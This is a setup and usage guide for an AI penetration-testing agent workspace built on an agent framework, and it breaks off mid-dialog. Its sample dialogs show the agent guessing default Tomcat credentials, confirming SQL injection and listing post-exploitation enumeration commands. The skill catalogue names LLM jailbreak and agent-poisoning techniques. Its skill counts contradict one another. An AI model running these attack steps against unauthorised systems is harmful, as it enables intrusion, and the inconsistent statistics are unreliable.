    • 7 new strategic SKILLs added: ai-safety-redteam-advanced, identity-provider-attack, data-loss-prevention-bypass, edge-computing-security, quantum-cryptography-transition, hardware-side-channel-advanced, 5g-6g-telecom-attack-advanced
    • 6 documentation files generated: SKILL_HANDBOOK, QUICK_REFERENCE, SKILL_INDEX.json, DOMAIN_MATRIX, TOOLS_LIFECYCLE, SKILL_MAINTENANCE
    • 5 automation scripts: skill-lint.py, validate-payloads.py, validate-testcases.py, GitHub Actions CI/CD, update-skill-standard.py
    • See RELEASE-v0.2.1.md for full milestone details

    The agent-tool-specific commands and configuration steps in this guide remain accurate. Only kali-claw side metadata has been updated.

    A beginner-friendly guide to setting up and using the OpenClaw framework with the kali-claw penetration testing agent workspace.

    Target version: v0.1.39 — 139 skill domains, 33 Distinguished, 100% Excellent+.

    Table of Contents

    1. Understanding the Concepts
    2. Environment Setup
    3. Installation and Initialization
    4. Core Concepts
    5. Usage Scenarios
    6. Advanced Configuration
    7. Version History and Milestones
    8. FAQ
    9. Core File Reference

    1. Understanding the Concepts

    1.1 What is OpenClaw?

    OpenClaw is an AI agent runtime framework installed via npm. It provides the infrastructure for running AI agents with persistent workspaces, memory, and tool access.

    Key features:

    • Agent management -- openclaw agents add/list/remove to create and manage isolated agents
    • Isolated workspaces -- Each agent gets its own directory for configuration, memory, and skills
    • Gateway -- A service that connects you to your agents via chat interfaces
    • Session management -- Agents load their identity and memory at the start of every session
    • Heartbeat polling -- Automated periodic tasks for health checks, learning, and maintenance

    Think of it this way: OpenClaw is the phone operating system. kali-claw is an app that runs on it. OpenClaw handles the infrastructure (routing, sessions, memory). kali-claw provides the security domain expertise (skills, payloads, tools).

    1.2 What is kali-claw?

    kali-claw is a pre-built penetration testing agent workspace for the OpenClaw framework. It is NOT a traditional software code repository -- it is a Markdown knowledge base + configuration system + automation scripts.

    What it includes:

    • 139 security skill domains -- from OSINT and web exploitation to cloud + identity, modern enterprise stack (PAM / CI-CD / CSPM-CASB / SASE-SSE), AI/LLM security, SCADA/ICS, blockchain/Web3, mobile/IoT, quantum/post-quantum, radio/satellite, and more
    • 518 Kali Linux tool knowledge base -- mastery tracking, learning notes, usage experience
    • 12 Hacker Laws -- behavioral guidelines derived from real-world security philosophy
    • Layered memory system -- daily logs, monthly chronicles, and long-term distilled knowledge
    • Agent Skills Open Standard compliance -- all SKILL.md files use the Anthropic 2025 YAML frontmatter standard (name, description, compatibility, allowed-tools, metadata)
    • Quality scoring system (SCORE.sh v2) -- 7 metrics × 4 components × 5 tiers (Distinguished / Excellent / Strong / Adequate / Weak)
    • Automation and orchestration -- 10+ scripts in validation/ covering heartbeat, backup, drift detection, scenario runner, end-to-end orchestration, report generation

    How it differs from using ChatGPT or Claude directly:

    FeatureChatGPT / Claudekali-claw
    Persistent memoryNone (start from zero every chat)Three-layer file-based memory
    Skill systemNone111 structured skill domains
    Tool executionCannot run commandsCan call all 518 Kali Linux tools
    Personality consistencyNoneSOUL.md defines fixed persona + 12 laws
    Learning evolutionNoneGrows through memory + heartbeat
    Payload libraryNoneMulti-MB payloads.md per skill
    Detection rule mappingNoneDefender perspective + Sigma/SPL/KQL rules
    Real-world incident case studiesNoneSolarWinds / Capital One / 3CX / xz-utils deep dives

    1.3 Architecture Overview

    User --> OpenClaw Gateway --> kali-claw Workspace
                                  |
                                  +-- SOUL.md              (personality + 12 Hacker Laws)
                                  +-- USER.md              (user profile and preferences)
                                  +-- IDENTITY.md          (137 skill tag rows)
                                  +-- AGENTS.md            (workspace config + session flow)
                                  +-- MEMORY.md            (long-term distilled knowledge)
                                  +-- TOOLS.md             (518 tool knowledge base)
                                  +-- HEARTBEAT.md         (automated task framework)
                                  +-- CHANGELOG.md         (v0.1.1 -> v0.1.39 history)
                                  +-- skills/              (139 skill domains)
                                  |    +-- web-sqli/
                                  |    |    +-- SKILL.md     (YAML frontmatter)
                                  |    |    +-- payloads.md
                                  |    |    +-- test-cases.md
                                  |    |    +-- guides/
                                  |    +-- ci-cd-supply-chain-attack/
                                  |    +-- pam-privilege-attack/
                                  |    +-- cspm-casb-attack/
                                  |    +-- sase-sse-attack/
                                  |    +-- ad-cs-abuse/
                                  |    +-- cloud-identity-attack/
                                  |    +-- ... (137 total)
                                  +-- validation/          (automation and orchestration)
                                  |    +-- SCORE.sh              (quality scoring engine)
                                  |    +-- heartbeat.sh           (workspace health check)
                                  |    +-- orchestrator.sh        (end-to-end pentest orchestration)
                                  |    +-- scenario-runner.sh     (cross-skill scenarios)
                                  |    +-- tool-selector.sh       (target -> tool mapping)
                                  |    +-- report-generator.sh    (automated reporting)
                                  |    +-- update-skill-standard.py (SKILL.md standard alignment)
                                  |    +-- engagement-template/   (authorized pentest templates)
                                  |    +-- evidence/              (scoring + scenario evidence)
                                  +-- memory/              (daily memory logs)
                                  +-- chronicle/           (monthly milestones)
                                  +-- docs/                (long-form design docs)
                                  +-- bak/                 (backups)

    Session startup flow:

    Every time you start a new session, the agent automatically:

    1. Reads SOUL.md -- loads its identity and the 12 Hacker Laws
    2. Reads USER.md -- learns who it is helping
    3. Reads today's and yesterday's memory logs -- gets recent context
    4. Reads MEMORY.md -- loads long-term distilled knowledge
    5. Ready -- the agent now has full context and can assist you

    1.4 Quality Tier System (introduced v0.1.16, current state v0.1.39)

    kali-claw ships with an objective, quantifiable skill quality scoring system. Every skill domain receives a 0-100 score, mapped to 5 tiers:

    TierScore Rangev0.1.39 CountMeaning
    Distinguished92.0 - 10033Best-in-class depth, reference implementation
    Excellent80.0 - 91.978Comprehensive coverage, only minor depth gaps
    Strong60.0 - 79.90Good coverage
    Adequate40.0 - 59.90Components present but shallow
    Weak0 - 39.90Missing critical components

    Current state (v0.1.39):

    • 111/137 skills at Excellent or above (100%)
    • Average score: 88.78
    • Min / Max: 85.1 / 94.6
    • Distinguished ratio: 33/111 ≈ 30%

    Scoring details live in validation/SCORING-METHODOLOGY.md. Per-skill JSON evidence is in validation/evidence/quality-scores/.

    2. Environment Setup

    2.1 Option A: Running on Kali Linux Directly (Recommended)

    The simplest setup. Install everything on a Kali Linux machine.

    System requirements: Kali Linux 2025.x (ARM64 and x86_64 both supported).

    Install Node.js:

    # Option 1: Using apt
sudo apt update
sudo apt install -y nodejs npm

# Option 2: Using nvm (recommended for latest LTS)
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash
source ~/.bashrc
nvm install --lts

    Verify:

    node --version    # Needs >= 18
npm --version

    2.2 Option B: Remote Kali via SSH

    Run OpenClaw on your regular machine (Mac, Windows, or Linux) and have kali-claw execute security tools remotely on a Kali Linux machine via SSH.

    SSH key setup:

    # Generate an SSH key pair
ssh-keygen -t ed25519 -C "kali-claw"

# Copy the public key to your Kali machine
ssh-copy-id user@kali-host

# Verify the connection and tool availability
ssh user@kali-host "nmap --version"
ssh user@kali-host "sqlmap --version"

    Best for: Mac or Windows users who do not want to run a Kali VM locally, or teams with a shared Kali server.

    2.3 Option C: Docker Container

    Run Kali Linux in a Docker container and connect to it.

    # Pull the official Kali image
docker pull kalilinux/kali-rolling

# Create and start a container
docker run -it --name kali-claw-env kalilinux/kali-rolling /bin/bash

# Inside the container, install security tools
apt update && apt install -y nmap sqlmap nikto hydra burpsuite metasploit-framework

    The kali-claw workspace stays on your host machine. The agent connects to the container via volume mount or SSH.

    Best for: Isolated, disposable testing environments. Easy to reset.

    2.4 Environment Checklist

    Before proceeding to installation, confirm the following:

    • Node.js >= 18 installed (node --version)
    • OpenClaw installed (npm list -g openclaw)
    • Kali Linux available (local machine, SSH, or Docker)
    • Basic Kali tools work (nmap --version returns successfully)

    3. Installation and Initialization

    3.1 Install OpenClaw

    npm install -g openclaw@latest

    Verify:

    openclaw --version

    Troubleshooting:

    • Permission error on Linux/Mac: use sudo npm install -g openclaw@latest
    • Slow download: configure an npm mirror with npm config set registry https://registry.npmmirror.com

    3.2 Create a Dedicated Agent

    openclaw agents add kali-claw --workspace ~/.openclaw/workspace-kali-claw

    Why create a dedicated agent instead of using main?

    • Isolated workspace -- kali-claw's memory and config do not mix with other agents
    • Isolated memory -- daily logs, chronicles, and long-term knowledge are separate
    • Isolated configuration -- SOUL.md, USER.md, and AGENTS.md are agent-specific
    • Separate permission and routing management

    3.3 Clone the kali-claw Workspace

    # Navigate to the workspace directory created by OpenClaw
cd ~/.openclaw/workspace-kali-claw/

# Clone the kali-claw repository into this directory
# Note the trailing dot (.) -- this clones into the current directory
git clone https://github.com/brucesongs/kali-claw.git .

    Verify the clone:

    ls -la

    You should see:

    SOUL.md           CHANGELOG.md      MEMORY.md
AGENTS.md         CLAUDE.md         TOOLS.md
IDENTITY.md       HEARTBEAT.md      README.md
USER.md           LICENSE           VERSION
skills/           validation/       memory/
chronicle/        docs/             bak/
GUIDE-OPENCLAW-zh.md   GUIDE-OPENCLAW-en.md
RELEASE-v0.1.X.md (one release note per version)

    3.4 First-Time Configuration (4 Files You MUST Modify)

    These four files contain the agent's identity and your preferences. You need to customize them before first use.

    FILE 1: USER.md -- Fill in Your Information

    This file tells the agent who you are and how you like to communicate.

    Before (default):

    ## Basic Info

- **Name**: kali-claw
- **Title**: Captain
- **Timezone**: Asia/Shanghai (CST)
- **Language Preference**: Chinese primary, technical terms in English

## Key Interests

- Ethical Hacking
- Penetration Testing
- Network Security

    After (example -- customize to your own information):

    ## Basic Info

- **Name**: Alex
- **Title**: Captain
- **Timezone**: America/New_York (EST)
- **Language Preference**: English primary, technical terms in English

## Key Interests

- Web Application Security
- Bug Bounty Hunting
- CTF Competitions
- Network Penetration Testing

## Current Focus

- Learning nmap and burpsuite for bug bounty
- Practicing on HackTheBox and TryHackMe
- Building a personal security lab with Docker

## Preferences & Style

- **Technical Communication**: Give commands and steps directly, no fluff
- **Learning Style**: Hands-on practice first, theory second
- **Problem Solving**: Try to solve independently first, then discuss

    FILE 2: SOUL.md -- Change Nickname and Role

    This file defines the agent's personality. At minimum, change the nickname and role.

    Before (default):

    ## Identity

- **Nickname**: kali-claw
- **Role**: Senior Penetration Testing Engineer -- Master of all Kali Linux security tools

    After (example):

    ## Identity

- **Nickname**: my-pentest-agent
- **Role**: Junior Security Analyst -- Learning penetration testing fundamentals

    Leave the 12 Hacker Laws and Core Truths sections unchanged -- they are universally applicable.

    FILE 3: IDENTITY.md -- Adjust Skill Tags

    This file contains a table of skill domains (111 rows in v0.1.39). Remove rows for skills you do not need, or add custom ones.

    After (example -- focus only on Web security):

    | Domain | Core Capabilities | Related Laws |
|--------|-------------------|--------------|
| Web Security | SQL injection, XSS, SSRF, auth bypass, access control | Trust but Verify, Minimize Attack Surface |
| API Security | REST/GraphQL API testing, authentication bypass, rate limiting | Trust but Verify, Minimize Attack Surface |
| Reconnaissance | OSINT, DNS enumeration, port scanning, subdomain discovery | First Principles, Divergent Thinking |
| Terminal Ops | Command-line pentest operations, evidence capture, session management | First Principles, Assume Breach |
| Docker Patterns | Lab environment setup, vulnerable container management | Assume Breach, Defense in Depth |
| Search First | Vulnerability intelligence, exploit search, evaluation | Information Wants to Be Free, First Principles |

    FILE 4: AGENTS.md -- Update the Agent Config Block

    This file defines the workspace configuration and session startup sequence.

    Before (default):

    ## Agent Config

- **Agent Name**: kali-claw
- **Runtime Environment**: Kali Linux
- **Role**: Penetration Testing Engineer
- **Specialty**: Security tools + penetration testing + vulnerability research
- **Work Mode**: 24/7 Continuous

    After (example):

    ## Agent Config

- **Agent Name**: my-pentest-agent
- **Runtime Environment**: Kali Linux (remote SSH at 192.168.1.100)
- **Role**: Security Learning Assistant
- **Specialty**: Web application security + learning penetration testing fundamentals
- **Work Mode**: On-demand (active during study sessions)

    3.5 Start and Verify

    openclaw gateway start

    Verify everything works:

    Send a test message through the gateway to confirm the agent responds:

    You: hello, what skills do you have?

    The agent should respond with a summary of its capabilities, reflecting your customized configuration.

    3.6 Run Quality Scoring (Optional but Recommended)

    After cloning, run the scoring script once to confirm all skills are intact:

    bash validation/SCORE.sh

    This generates JSON score files for all 139 skill domains in validation/evidence/quality-scores/. If you plan to modify skills, these scores help you locate weak spots.

    4. Core Concepts

    4.1 Skill System

    kali-claw includes 139 skill domains organized into 8 broad categories:

    Web and API Attacks

    DomainDescription
    web-sqli / web-xss / web-ssrfThe classic web trio (incl. CSP bypass, cloud-metadata SSRF)
    web-auth-bypass / web-access-controlAuth bypass, IDOR, OAuth/JWT attacks
    web-xxe / web-deserialization / file-inclusionXML External Entity, Java/PHP/.NET deserialization, LFI/RFI
    cms-framework-attackWordPress/Joomla/Drupal pentesting
    api-securityREST/GraphQL, rate limiting, parameter tampering
    email-security-deepAiTM phishing, gateway bypass (Proofpoint/Mimecast), CVE-2024-21413
    browser-qaPlaywright/Puppeteer automated browser security testing

    Network and Infrastructure

    DomainDescription
    network-pentest / recon-osintScanning, exploitation, lateral movement, subdomain enumeration
    network-sniffing-mitm / network-tunneling-proxyTraffic hijacking, SSH/DNS/ICMP tunneling, SOCKS proxy chains
    dns-attacksDNS rebinding, SAD DNS, DoH/DoT/DoQ tunneling, subdomain takeover
    vpn-attack / sase-sse-attackTraditional VPN + modern edge (Zscaler / Netskope / Cloudflare One / Cisco Umbrella)
    email-protocol-attackSMTP enumeration, SPF/DKIM/DMARC bypass
    voip-sip-attackSIP eavesdropping, VLAN hopping

    Identity and Enterprise Stack

    DomainDescription
    ad-ldap-attackAD/LDAP/Kerberos (AS-REP Roasting, Kerberoasting, DCSync, PtH)
    ad-cs-abuseAD CS ESC1-ESC15, PetitPotam, Certifried (CVE-2022-26923)
    cloud-identity-attackEntra ID / Okta / Auth0, PRT theft, Golden SAML
    pam-privilege-attack8 PAM vendors: CyberArk / BeyondTrust / Delinea / ManageEngine / WALLIX ...
    ci-cd-supply-chain-attackJenkins, GitLab CI, GitHub Actions, Argo CD, xz-utils / SolarWinds / 3CX case studies
    cspm-casb-attackWiz / Prisma Cloud / Netskope, OPA/Kyverno policy bypass

    Cloud and Container

    DomainDescription
    cloud-securityAWS/Azure/GCP, IAM, S3 exposure, metadata attacks
    container-security / kubernetes-attackDocker escape, K8s RBAC, Pod Escape, runc CVE-2024-21626
    cloud-native-vuln-researchCVE methodology, PoC reproduction, nuclei templates
    secret-management-attackgitleaks/semgrep/trufflehog, Vault/CI-CD/registry exploitation

    Cryptography and Emerging Tech

    DomainDescription
    crypto-attacksWeak algorithms, Padding Oracle, TLS issues, post-quantum migration, KyberSlash
    quantum-crypto-attackNIST PQC, hybrid TLS, QKD/BB84, SM2/3/4 Chinese national crypto
    blockchain-web3Smart-contract audit, DeFi reentrancy, cross-chain bridges, MEV, ERC-777
    llm-red-team / ai-security / ai-agent-securityLLM jailbreaks (GCG/AutoDAN/Crescendo), MCP poisoning, RAG poisoning
    agentic-pentestPentestGPT, HexStrike, multi-agent team coordination

    Mobile / IoT / Embedded / Hardware

    DomainDescription
    mobile-security / mobile-app-instrumentationiOS/Android, SSL Pinning bypass, Frida/Objection/r2frida
    iot-pentestMQTT, CoAP, AMQP, IoT cloud backends
    firmware-reverse / hardware-securityFirmware extraction, JTAG/UART, side-channel
    embedded-rtos-securityVxWorks / QNX / FreeRTOS / ThreadX / Zephyr
    bluetooth-rfid-nfcBLE GATT, MIFARE, NFC cloning

    Critical Infrastructure and Physical

    DomainDescription
    scada-ics-security / ics-fieldbus-attackModbus, S7comm, EtherNet/IP, OPC UA, Profibus, DNP3, IEC 61850
    storage-san-attackiSCSI/FC/NFSv4/SMB3/S3, NetApp/Dell EMC/QNAP/Synology/TrueNAS
    hypervisor-introspectionVMware ESXi / Hyper-V / KVM / Xen, LibVMI / DRAKVUF, VENOM
    satellite-leo-securityStarlink / Iridium / Viasat KA-SAT, DVB-S2 / VSAT, AcidRain
    sdr-rf-attack / hf-vhf-radio-attackADS-B, AIS, ACARS, POCSAG, APRS
    5g-telecom-attackPFCP, GTP, IMSI catchers, O-RAN
    automotive-vehicle-securityCAN/UDS, key fobs, EV charging
    uav-drone-securityMAVLink, PX4, GPS spoofing, DroneID
    physical-security-testingLock bypass, RFID cloning, USB weapons (Ducky/Bunny)
    mainframe-securityz/OS / RACF / CICS / DB2 / JES2
    game-anticheat-bypassEAC / BattlEye / Vanguard / BYOVD

    Defense / Forensics / Meta-capabilities

    DomainDescription
    digital-forensics / anti-forensicsDisk/memory/network forensics, anti-forensics
    threat-hunting / detection-engineeringHypothesis-driven hunting, Sigma/YARA, ATT&CK detection engineering
    deception-honeypotSSH/Web/ICS/AI honeypots, honeytokens
    pentest-reporting / article-writingDradis/Faraday, CVSS scoring, CVE disclosure
    engagement-managerAuthorized pentest lifecycle, scope management, evidence chain
    security-review / repo-scanOWASP Top 10, source audit, dependency scanning
    security-bounty-hunterBug bounty, PoC development, responsible disclosure
    codebase-onboarding / knowledge-opsRapid codebase intelligence, knowledge graph management
    exa-search / deep-research / data-scraper-agentMulti-source intelligence, CVE scraping, semantic search
    autonomous-loops / multi-agent-collaboration / councilAutonomous orchestration, multi-perspective analysis (attack/defense/audit)
    safety-guard / terminal-ops / search-first / verification-loopSafety enforcement, terminal operations, research-before-exploit, multi-phase verification
    docker-patterns / continuous-learning / chronicle / tool-mastery / mcp-server-patternsLabs, continuous learning, chronicles, tool mastery, MCP integration

    Skill structure -- each domain follows the Agent Skills Open Standard pattern:

    skills/web-sqli/
  +-- SKILL.md          # Skill definition with YAML frontmatter
  +-- payloads.md       # Attack payloads and commands organized by type
  +-- test-cases.md     # Structured test case templates
  +-- guides/           # Deep-dive learning materials (multiple files)

    Progressive disclosure -- the core design of the Agent Skills Open Standard:

    • Stage 1 (Advertise) -- YAML frontmatter + ## Summary -- loaded during skill scanning
    • Stage 2 (Quick Reference) -- ## Core Tools + ## Methodology -- loaded on skill activation
    • Stage 3 (Detailed) -- ## Practical Steps + ## Defense Perspective -- loaded on task execution

    This staged loading saves tokens when the skill is not needed, while preserving depth when it is.

    How skills are triggered:

    You do NOT need to manually invoke skills. Simply describe your task in natural language, and the agent automatically matches the relevant skills based on your request.

    Example dialog:

    You: Scan 192.168.1.0/24 for open ports and running services

Agent: [triggers network-pentest + terminal-ops skills]
       Running nmap scan on 192.168.1.0/24...

       $ nmap -sV -sC 192.168.1.0/24

       Found 3 live hosts:
       - 192.168.1.1   (gateway)    ports: 22, 80, 443
       - 192.168.1.50  (web server) ports: 80, 3306
       - 192.168.1.100 (workstation) ports: 22, 3389

       Shall I run a vulnerability scan on the web server?

    ECC Orchestration patterns -- kali-claw supports 6 patterns for multi-step operations:

    PatternUse CaseExample
    Sequential PipelineStep-by-step pentest flowRecon -> Scan -> Exploit -> Report
    Watch LoopMonitoring a target for changesWatching for new subdomains
    Batch ProcessingProcessing multiple targetsScanning a list of 100 URLs
    Learning CycleTool mastery progressionLearn nmap -> practice -> review
    Meta-SkillCombining multiple skillsCouncil analysis across domains
    Cross-cutting InterceptorSafety enforcementSafety-guard checking every command

    4.2 Memory System

    kali-claw uses a three-layer memory architecture:

    Layer 1: memory/YYYY-MM-DD.md
          Daily raw logs (what was done, what was found, commands run)
                    |
                    | auto-distill
                    v
Layer 2: chronicle/YYYY-MM/*.md
          Monthly milestones (key decisions, breakthroughs, tool mastery)
                    |
                    | auto-distill
                    v
Layer 3: MEMORY.md (root)
          Long-term distilled knowledge (key decisions, tool preferences, lessons learned)

    How it works:

    • Every session, the agent writes daily activity to memory/YYYY-MM-DD.md
    • Periodically, important events are distilled into chronicle/YYYY-MM/*.md
    • The most important, persistent knowledge ends up in MEMORY.md
    • On each new session, the agent reads recent daily logs + MEMORY.md for full context

    How to check memory:

    • Open the files directly in any text editor
    • Or ask the agent: "What did we work on last time?"
    • Or ask: "What do you know about [topic]?"

    4.3 Heartbeat System (HEARTBEAT.md)

    The heartbeat system runs automated periodic tasks to keep the agent healthy and learning.

    4 task categories (in priority order):

    PriorityCategoryTasks
    1 (highest)Security CheckCheck alerts, verify file integrity, detect sensitive data leaks
    2Health CheckCheck system resources, verify config file integrity, confirm backups
    3Learning ProgressTrack tool learning, advance to next tool, update skill files
    4Knowledge MaintenanceClean old logs, distill lessons, update skill files

    Key behaviors:

    • Only 1-2 items execute per heartbeat cycle (lightweight execution)
    • Tasks rotate across heartbeats to avoid overloading
    • Results are logged to memory/heartbeat-check-YYYYMMDDHHMM.md
    • Anomalies are recorded in memory/alerts.txt and the user is notified

    Companion script -- validation/heartbeat.sh provides a CLI health check:

    bash validation/heartbeat.sh           # One-shot check
bash validation/heartbeat.sh --fix     # Check and attempt auto-fix
bash validation/heartbeat.sh --json    # JSON output (for monitoring integration)

    How to customize: Edit HEARTBEAT.md to add, remove, or modify heartbeat tasks.

    4.4 Tool Knowledge Base (TOOLS.md)

    TOOLS.md tracks the agent's knowledge of 518 Kali Linux tools across 65+ categories.

    What each tool entry records:

    • Mastery status (Mastered / Learning / Not started)
    • Learning notes and usage experience
    • Links to relevant memory files and guides

    How to add new tools: Add a new row to the Category Index table in TOOLS.md:

    | Your Category | Tool Count | Status | Learning Notes |
|---------------|------------|--------|----------------|
| Custom Tools  | 2          | Learning | Custom scripts in /opt/tools/ |

    4.5 Quality Scoring System (SCORE.sh v2)

    Introduced in v0.1.11, upgraded to v2 in v0.1.16. This subsystem makes "is this skill good enough" an objective, quantifiable metric.

    4 weighted components:

    ComponentWeightSourceMeaning
    SKILL.md15%## heading countStructural depth
    payloads.md30%Avg of word count, section count, code block countPayload comprehensiveness
    test-cases.md30%Avg of test case count, field completenessTest executability
    guides/25%File count (40%) + avg word count (30%) + key section presence (30%)Depth material

    5 tiers (v2 introduced Distinguished):

    TierScorev0.1.39 Count
    Distinguished92 - 10033
    Excellent80 - 91.978
    Strong60 - 79.90
    Adequate40 - 59.90
    Weak0 - 39.90

    Running the score:

    bash validation/SCORE.sh                    # Score all 139 skills
bash validation/SCORE.sh --skill web-sqli   # Score a single skill

    Results are written to validation/evidence/quality-scores/<skill>.json. Each JSON contains the component-level breakdown.

    Typical uses:

    • After improving a skill, score it to confirm the lift
    • Find the lowest-scoring skills to prioritize improvements
    • Include score deltas in PRs as objective evidence

    See validation/SCORING-METHODOLOGY.md for the full methodology.

    4.6 Automation and Orchestration Scripts (validation/)

    The validation/ directory is kali-claw's toolbox -- 10+ Bash scripts covering ops, orchestration, and reporting:

    ScriptPurposeCommon Flags
    heartbeat.shWorkspace health check--fix --json
    auto-backup.shBackup rotation--restore --keep N
    drift-detect.shConfig drift detection--create-baseline --update-baseline
    scenario-runner.shCross-skill scenario execution--resume --dry-run
    orchestrator.shEnd-to-end pentest workflow--target --phase --resume
    tool-selector.shTarget -> tool smart mapping--target-type --phase --stealth
    report-generator.shAutomated pentest report generation--source --format
    SCORE.shQuality scoring engine (see 4.5)--skill <name>
    update-skill-standard.pyAlign SKILL.md with the Agent Skills Standard--dry-run --skill <name>

    End-to-end example (orchestrator):

    # Auto-run recon -> scan -> exploit -> post-exploit -> report
bash validation/orchestrator.sh --target 10.10.10.10 --phase full

# Resume an interrupted run
bash validation/orchestrator.sh --target 10.10.10.10 --resume

    Authorized engagement templates -- validation/engagement-template/ provides:

    • targets.json.example -- Target scope template
    • scope-rules.json.example -- Scope rules and safety constraints
    • report-template.md -- Standard pentest report template

    4.7 Engagement Workflow

    The engagement-manager skill plus validation/engagement-template/ provide full authorized pentest lifecycle management:

    1. Scope confirmation (scope-rules.json)   --> Define what is in/out of scope
2. Target registration (targets.json)       --> List IPs/domains/assets
3. Recon + Scan                             --> recon-osint + network-pentest
4. Exploitation                             --> Corresponding attack skill (web-sqli / ad-cs-abuse ...)
5. Post-exploitation                        --> post-exploitation + privilege-escalation
6. Evidence collection                      --> pentest-reporting + screenshots/logs
7. Report generation                        --> report-generator.sh
8. Retrospective                            --> Write to chronicle/ + MEMORY.md

    Each step is logged to memory/YYYY-MM-DD.md. Important milestones are distilled into chronicle/, and long-term decisions land in MEMORY.md.

    5. Usage Scenarios

    5.1 Penetration Testing

    A complete multi-turn dialog showing a full penetration test workflow:

    Step 1 -- Reconnaissance:

    You: Help me gather information on target.com

Agent: [triggers recon-osint + osint skills]

       Starting OSINT reconnaissance on target.com...

       DNS Records:
       - A     : target.com -> 93.184.216.34
       - MX    : mail.target.com
       - NS    : ns1.target.com, ns2.target.com

       Subdomains found (via crt.sh + sublist3r):
       - www.target.com
       - api.target.com
       - admin.target.com
       - dev.target.com (403 Forbidden)

       Technologies detected (whatweb):
       - nginx/1.18.0
       - PHP 8.1
       - MySQL (inferred)

       Found 4 live subdomains. Shall I proceed with port scanning?

    Step 2 -- Scanning:

    You: Yes, scan all discovered subdomains for open ports and services

Agent: [triggers network-pentest + terminal-ops skills]

       Scanning 4 hosts with nmap service detection...

       Results:
       www.target.com:80    - nginx/1.18.0, PHP 8.1
       www.target.com:443   - TLS 1.2, cert valid
       api.target.com:8080  - Node.js Express
       api.target.com:5432  - PostgreSQL (filtered)
       admin.target.com:80  - Apache Tomcat 9.0.50
       admin.target.com:8080- Apache Tomcat management interface (401)

       Notable findings:
       1. admin.target.com:8080 - Tomcat manager may have default credentials
       2. api.target.com:8080 - Node.js API, potential injection points
       3. dev.target.com still returning 403 - might be worth investigating

       What would you like to investigate first?

    Step 3 -- Exploitation:

    You: Check admin.target.com:8080 for default credentials and test the API for injection

Agent: [triggers web-auth-bypass + api-security + web-sqli skills]

       Testing Tomcat manager for default credentials...

       Attempting common username/password combinations...
       - admin:admin       -> 401 Unauthorized
       - tomcat:tomcat     -> 401 Unauthorized
       - admin:password    -> 401 Unauthorized
       - tomcat:s3cret     -> 200 OK! ACCESS GRANTED

       [!] Default credentials found: tomcat:s3cret
       [!] This allows WAR file deployment = remote code execution

       Testing API endpoint api.target.com:8080/api/users?id=1...
       - Normal request: returns user data
       - Adding single quote: server error (500)
       - Testing UNION-based injection: data returned

       [!] SQL injection confirmed on /api/users?id parameter
       [!] Database: PostgreSQL, 3 tables found (users, sessions, config)

       How would you like to proceed?

    Step 4 -- Post-Exploitation:

    You: I got a shell through Tomcat. What should I do next?

Agent: [triggers post-exploitation + safety-guard skills]

       Post-exploitation checklist for your new shell:

       1. **Stabilize the shell** (important for reliable operations):
          $ python3 -c 'import pty; pty.spawn("/bin/bash")'
          $ export TERM=xterm

       2. **Gather system information:**
          $ whoami && id
          $ hostname && uname -a
          $ cat /etc/os-release

       3. **Check privilege escalation vectors:**
          $ sudo -l
          $ find / -perm -4000 -type f 2>/dev/null
          $ cat /etc/crontab

       4. **Enumerate network connections:**
          $ ss -tulpn
          $ cat /etc/hosts

       IMPORTANT REMINDER: This is a learning exercise. Only perform these
       actions on systems you have explicit authorization to test.

       Shall I walk you through each step?

    Step 5 -- Reporting:

    You: Help me summarize today's findings into a report

Agent: [triggers article-writing + chronicle skills]

       # Penetration Test Report - target.com
       ## Date: 2026-05-18
       ## Scope: External infrastructure assessment

       ### Executive Summary
       3 critical and 2 high-severity vulnerabilities identified...

       ### Findings

       | # | Finding | Severity | CVSS |
       |---|---------|----------|------|
       | 1 | Default Tomcat credentials | Critical | 9.8 |
       | 2 | SQL Injection on /api/users | Critical | 9.1 |
       | 3 | Exposed PostgreSQL port | High | 7.5 |
       | 4 | Dev subdomain accessible | Medium | 5.3 |
       | 5 | TLS 1.0 still enabled | Low | 3.7 |

       ### Recommendations
       1. Change all default credentials immediately
       2. Implement parameterized queries for all SQL operations
       ...

       Report saved to memory/2026-05-18.md

    5.2 Security Audit

    You: Audit this web application for security issues: http://testphp.vulnweb.com

Agent: [triggers security-review + verification-loop skills]

       Running systematic OWASP Top 10 audit...

       Phase 1: Information Gathering
       - Server: nginx/1.18.0
       - Backend: PHP
       - Forms found: login, search, signup

       Phase 2: Injection Testing
       - SQL Injection: Testing all input fields...
         [!] search field vulnerable to UNION-based SQLi
       - XSS: Testing reflection points...
         [!] Reflected XSS in search results (no output encoding)
       - Command Injection: Testing for OS command execution...
         [OK] No command injection found

       Phase 3: Authentication and Authorization
       - Brute force protection: None detected
       - Session management: Predictable session IDs
       - Access control: IDOR on /user.php?id= parameter

       Phase 4: Configuration Review
       - Directory listing: Enabled on /uploads/
       - Error messages: Expose PHP version and stack traces
       - Security headers: Missing X-Frame-Options, CSP

       Summary: 2 Critical, 2 High, 3 Medium findings
       Full report with remediation steps available.

    5.3 Learning and Research

    You: I want to learn SQL injection. Where do I start?

Agent: [triggers search-first + web-sqli + docker-patterns skills]

       Here is a structured learning path for SQL injection:

       ## Phase 1: Understand the Fundamentals (1-2 days)
       1. Read skills/web-sqli/SKILL.md for the full methodology
       2. Understand the 5 SQLi types: Union, Boolean-blind, Time-blind,
          Error-based, Out-of-band

       ## Phase 2: Set Up a Practice Lab (today)
       I can spin up a Docker-based practice environment for you:

       $ docker run -d -p 80:80 acunetix/vulnerable-web-app

       Or use the dedicated SQLi labs:

       $ docker run -d -p 8080:80 sqli/sqli-labs

       ## Phase 3: Hands-On Practice (3-5 days)
       Start with skills/web-sqli/payloads.md -- it has payloads
       organized by difficulty:
       - Level 1: Union-based (simplest)
       - Level 2: Error-based
       - Level 3: Boolean-blind
       - Level 4: Time-blind
       - Level 5: WAF bypass techniques

       ## Phase 4: Test Cases (2-3 days)
       Use skills/web-sqli/test-cases.md to practice structured testing
       against real targets.

       Shall I set up the Docker lab right now?

    5.4 Team Collaboration

    Multi-agent collaboration: Use the council skill to get multi-perspective analysis:

    You: Analyze the security of this authentication implementation from multiple angles

Agent: [triggers council + security-review skills]

       Running council analysis with 3 perspectives:

       ## Attacker Perspective
       - Session tokens are predictable (timestamp-based)
       - No rate limiting on login endpoint (brute force possible)
       - Password reset token sent via email (interception risk)

       ## Defender Perspective
       - Recommend switching to cryptographically random session tokens
       - Implement rate limiting: 5 attempts per 15 minutes
       - Add TOTP-based 2FA for sensitive operations
       - Log all authentication events for monitoring

       ## Auditor Perspective
